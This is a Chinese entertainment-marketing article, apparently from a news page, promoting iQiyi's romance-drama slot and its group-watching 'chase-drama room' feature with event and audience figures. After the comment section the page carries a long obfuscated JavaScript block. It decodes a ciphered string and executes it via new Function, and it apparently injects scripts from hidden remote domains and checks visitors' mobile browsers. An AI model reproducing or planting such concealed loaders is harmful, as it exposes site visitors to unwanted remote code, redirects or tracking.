社交追剧新体验!恋恋剧场-恋恋追剧房邀你群嗑糖

时间:2021-08-03 12:59:52阅读:82766
爱奇艺恋恋剧场热播正当时,接连播出的几部剧集,《月光变奏曲》、《变成你的那一天》、《喵,请许愿》更是热度、口碑双丰收。而近期刚刚上线的《循环初恋》则以双重时空、交叉奇遇的脑洞设定为观众献上了一场奇幻爱
  • 一生一世
  • 剧情
  • 任嘉伦 白鹿 此沙 骆明劼 王瑞欣 王悦伊 罗海琼 冯嘉怡

爱奇艺恋恋剧场热播正当时,接连播出的几部剧集,《月光变奏曲》、《变成你的那一天》、《喵,请许愿》更是热度、口碑双丰收。而近期刚刚上线的《循环初恋》则以双重时空、交叉奇遇的脑洞设定为观众献上了一场奇幻爱情童话故事,吸引观众持续追剧。自爱奇艺恋恋剧场开播以来,恋恋剧场坚持以多元和年轻化的姿态不断输出精品剧集,满足了一众ibg的胃口,也坐实了“夏日最甜剧场”的称号。同时,在追剧玩法上,恋恋剧场将站内“一起看”功能整合包装,技术更迭,打造出全网首个追剧社交新模式“恋恋追剧房”,吸引用户一边看剧讨论,一边社交交友,沉浸式观剧的同时,感受追剧社交的全新体验。

技术更迭超多玩法,恋恋追剧房创新尝试看不停

作为爱奇艺站内“一起看”功能的整合包装升级玩法,恋恋追剧房不仅实现技术更迭,更致力于给观众带来突破性的追剧体验。从《月光变奏曲》追剧房首次营业,走出创新尝试第一步;到《变成你的那一天》接棒营业,首开百人追剧房,主演梁洁空降宠粉撒福利;紧接着《喵,请许愿》联动情感大V胡辛束,以Z世代喜闻乐见的话题迅速聚拢年轻观众,收获大批年轻品牌粉;再到《循环初恋》西单大悦城“交个朋友吧”主题冰屏追剧房,邀约粉丝到场互动,首次实现由线上交友到线下社交的落地…… 一连串不断升级的营销玩法,不乏各种创意的花式操作,拉近用户与平台、用户与用户之间的距离,令人直呼不愧是“孤单追剧终结者”。

花式跨界、真实互动,恋恋追剧房不断解锁多样的甜爱剧创新玩法,助推剧场成绩跃级上升。《变成你的那一天》首次开启大规模“百人追剧房”,梁洁空降实时追剧,就“女生的理想型”,“性别差异”等话题展开热烈讨论,并现场送上清唱福利,宠粉暖心,活动覆盖剧场粉丝突破20W+;《喵,请许愿》联动情感大V胡辛束共启“爱情观点拍卖行”主题百人追剧房,邀请50对年轻人进入线上追剧房,看剧连麦,围绕“喜欢上一个人的本质是什么”、“恋爱时自己被改变是好是坏”、“你是否相信一见钟情”等时下年轻人最关注的8大情感话题展开热烈讨论,助力#恋恋剧场追剧房#话题阅读量破2000W,同比增长230%。《循环初恋》校园时光机主题追剧房落地北京西单大悦城,现场邀约粉丝路人到场体验追剧房趣味互动,同时撬动主演陈昊宇、娱评类KOL桃叨叨空降线上追剧房,通过线下大屏追剧+线上追剧房空降、并在大屏上展示追剧房截图和追剧房二维码,形成线上线下双重互动追剧体验,同时吸引大悦城自然人流围观扫码体验追剧房玩法,扩大恋恋追剧房品牌声量和玩法曝光,为后续更多追剧房活动玩法落地开了个好头。恋恋追剧房打破剧集、艺人、平台、粉丝之间的距离,线上线下联动、跨平台跨圈层联合,不断刷新着营销创意,持续探索追剧新模式。

热度话题畅聊出圈,成人爱情童话心动不止一刻

恋恋剧场为成年人打造爱情童话之余,也从多个角度呈现当代年轻人所关注生活态度等议题。恋恋剧场多部剧集热播期间,恋恋追剧房同步发起多个话题讨论,剧中涉及到的“网暴伤害有多大”、“职场情绪管理”、“外貌焦虑”、“原生家庭”等社会现象与热点话题频登各大平台热搜榜单前列,主题房间热度出圈。话题度吸引大量路人粉丝围观,真情实感的讨论互动与情感抒发点燃用户强烈的分享欲,粉丝自发邀约好友一同组队体验云端追剧热聊不停,同时在#恋恋剧场追剧房#话题内发布追剧房看剧体验,分析剧情、安利爱豆等讨论,交流追星心得与嗑糖经验。

稳扎稳打的实力作品,配合上新颖的追剧玩法,恋恋剧场的品牌形象已逐渐深入人心,持续吸引着年轻人的关注。品牌话题持续发酵,破圈跨界联动不停。恋恋追剧房配合剧集持续邀约知名声优、情感大v、微博娱评团成员等与各路粉丝路人讨论品牌相关话题,覆盖粉丝量突破500W+,覆盖年轻品牌粉占比90%,品牌认知度好感度大幅提升。年轻观众体验过追剧房后,纷纷表示“和小伙伴一起追剧聊天好快乐,看到了好多看不到的细节”“同一个世界同一群嗑糖人”,ibg在追剧中满足幻想,同频共振,真正实现“这一刻心动”。

恋恋追剧房不仅照顾到观众的情绪、个人喜好和价值观,更为用户的社交与自我表达提供空间,成功击中当下年轻人追剧的新需求。在恋恋剧场后续剧集《满月之下请相爱》、《世界微尘里》、《一生一世》追剧房特别企划中,更多不一样的新鲜玩法即将来袭,让我们一起期待!

相关资讯

评论

  • 评论加载中...

!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();